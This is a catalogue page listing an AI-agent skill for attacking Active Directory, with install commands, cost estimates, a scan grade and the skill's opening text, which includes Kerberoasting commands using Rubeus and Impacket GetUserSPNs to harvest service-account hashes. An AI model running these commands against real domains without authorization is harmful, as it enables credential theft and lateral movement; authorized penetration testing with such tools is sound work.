Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx agentmods add skills/evilfreelancer/secs/attacking-active-directorynpx skills add EvilFreelancer/secs --skill attacking-active-directorygit clone --depth 1 https://github.com/EvilFreelancer/secsWhat it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5 | $0.00065 | $0.03818 |
| Opus 5 | $0.00032 | $0.01909 |
| Sonnet 5 | $0.00013 | $0.00764 |
| Haiku 4.5 | $0.00006 | $0.00382 |
Grade A, and why
attacking-active-directory scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 3d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Nothing flagged
None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.
How it starts
The opening of the file, as written. The whole thing — 429 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Attacking Active Directory
When to Use
- AD reconnaissance and enumeration
- Kerberos-based attacks
- Credential dumping from domain controllers
- Lateral movement within domains
- BloodHound attack path analysis
- Domain persistence techniques
When NOT to Use
- Non-Windows / Linux-only environments — use
enumerating-network-services - Cracking the hashes you collected — use
cracking-passwords - Post-domain-compromise persistence — use
establishing-persistence - Entra ID / Azure AD as the primary target — use
exploiting-cloud-platforms - Detecting these attacks defensively — use
engineering-detections
A privileged, Kerberoastable account with no logon history is a classic
honeyuser: roasting it raises a high-fidelity alert. Check recognizing-deception
before roasting an account that looks too convenient.
Route to a Depth Skill
Several AD escalation families are deep enough to have their own procedure skill. When enumeration points at one of these, switch to it — the general methodology here does not carry the tool-specific detail they do.
| Signal | Skill |
|---|---|
| The target is Entra ID / Azure AD, tokens, PRTs, or hybrid-identity sync | exploiting-cloud-platforms |
The domain methodology below (Kerberoasting, DCSync, lateral movement) still applies; these skills specialize a single step of it and hand back here.
Kerberoasting
Windows:
# Check kerberoastable users
.\Rubeus.exe kerberoast /stats
# Roast all
.\Rubeus.exe kerberoast /outfile:hashes.txt
# Target specific user
.\Rubeus.exe kerberoast /user:svc_mssql /outfile:hashes.txt
# Target admins only
.\Rubeus.exe kerberoast /ldapfilter:'(admincount=1)' /nowrap
Linux:
# Impacket GetUserSPNs
GetUserSPNs.py -request -dc-ip 10.10.10.10 domain.local/user:password -outputfile hashes.txt
# With NT hash
GetUserSPNs.py -request -dc-ip 10.10.10.10 -hashes :ntlmhash domain.local/user -outputfile hashes.txt
# Target specific user
GetUserSPNs.py -request-user svc_mssql -dc-ip 10.10.10.10 domain.local/user:password
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 3d ago First seen · 429 lines · 65 tokens per session scan A f8535daa8061
attacking-active-directory is a skill published in the GitHub repository EvilFreelancer/secs (10 stars, last pushed 24d ago), licensed Apache-2.0. It adds 65 tokens to every session and 3,818 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it A with 0 findings. No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-31.
Other skills, from other repositories
Blue Team Defense & Hardening
System hardening, detection engineering, security baseline monitoring, patch management, defense-in-depth architecture, and security posture improvement.
analyzing-email-headers-for-phishing-investigation
Parse and analyze email headers to trace the origin of phishing emails, verify sender authenticity, and identify spoofing through SPF, DKIM, and DMARC validation.
analyzing-golang-malware-with-ghidra
Reverse engineer Go-compiled malware using Ghidra with specialized scripts for function recovery, string extraction, and type reconstruction in stripped Go binaries.
analyzing-prefetch-files-for-execution-history
Parse Windows Prefetch files to determine program execution history including run counts, timestamps, and referenced files for forensic investigation.
analyzing-ios-app-security-with-objection
Performs runtime mobile security exploration of iOS applications using Objection, a Frida-powered toolkit that enables security testers to interact with app internals without jailbreaking. Use when assessing iOS app security posture, bypassing client-side protections, dumping keychain items, inspecting filesystem…
add-tool
Use when adding a new cybersecurity tool to this installer. Walks through editing the right module file, adding to toolsconfig.json, running validators, and syncing MCP server data if needed. Triggers on phrases like "add tool", "add ", "register a new tool", "include X in the installer".